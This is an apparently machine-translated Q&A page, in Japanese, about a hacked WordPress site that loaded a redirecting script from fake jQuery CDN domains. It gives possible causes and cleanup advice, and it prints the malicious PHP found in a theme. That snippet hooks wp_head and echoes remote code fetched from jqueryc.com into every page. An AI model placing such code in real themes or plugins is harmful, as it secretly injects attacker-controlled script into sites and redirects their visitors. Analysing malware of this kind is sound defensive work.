エクスプロイトと戦うための良い情報がここにあるので、すべてのコメントを答えとして書き留めてください。
問題
Wordpress主導のサイトのソースでjQueryCDNを装ったURLのスクリプトが見つかりました。jquerys.comとjqueryc.comの両方が詐欺師ドメインとして使用されていたようです。
悪意のあるコードは単純です。ランダムに別のサイトにリダイレクトし、すぐにリダイレクトされないようにCookieを設定します(1日1回)。まれであるため、サイトの開発中にこれを確認したり、見落としたりする可能性があります。
考えられる原因
- URLの入力ミス
- 侵害されたサーバー
- 悪意のあるテーマ
- 悪意のあるプラグイン
解像度
開始:http ://codex.wordpress.org/FAQ_My_site_was_hacked
OPはテーマ内でこのコードを見つけました:
// !!! Suspect Code - Do not use for any purpose !!!
//Jquery Function
if (!function_exists('insert_jquery_theme')){
function insert_jquery_theme(){
if (function_exists('curl_init')){
$url="jqueryc.com/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
curl_close($ch);
echo $data;
}
}
add_action('wp_head', 'insert_jquery_theme');
}
ソースを見ると、実際にはjQueryへの参照が2つあります。1つは合法で、もう1つはそうではありません。前述のコードスニペットを削除すると、問題が解決します。
悪意のあるコード(テーマ、プラグイン、侵害されたサーバーなど)の出所を特定することは依然として重要です。悪意のあるコードがないかどうかを調べずにバックアップを復元しないでください。
関連リンク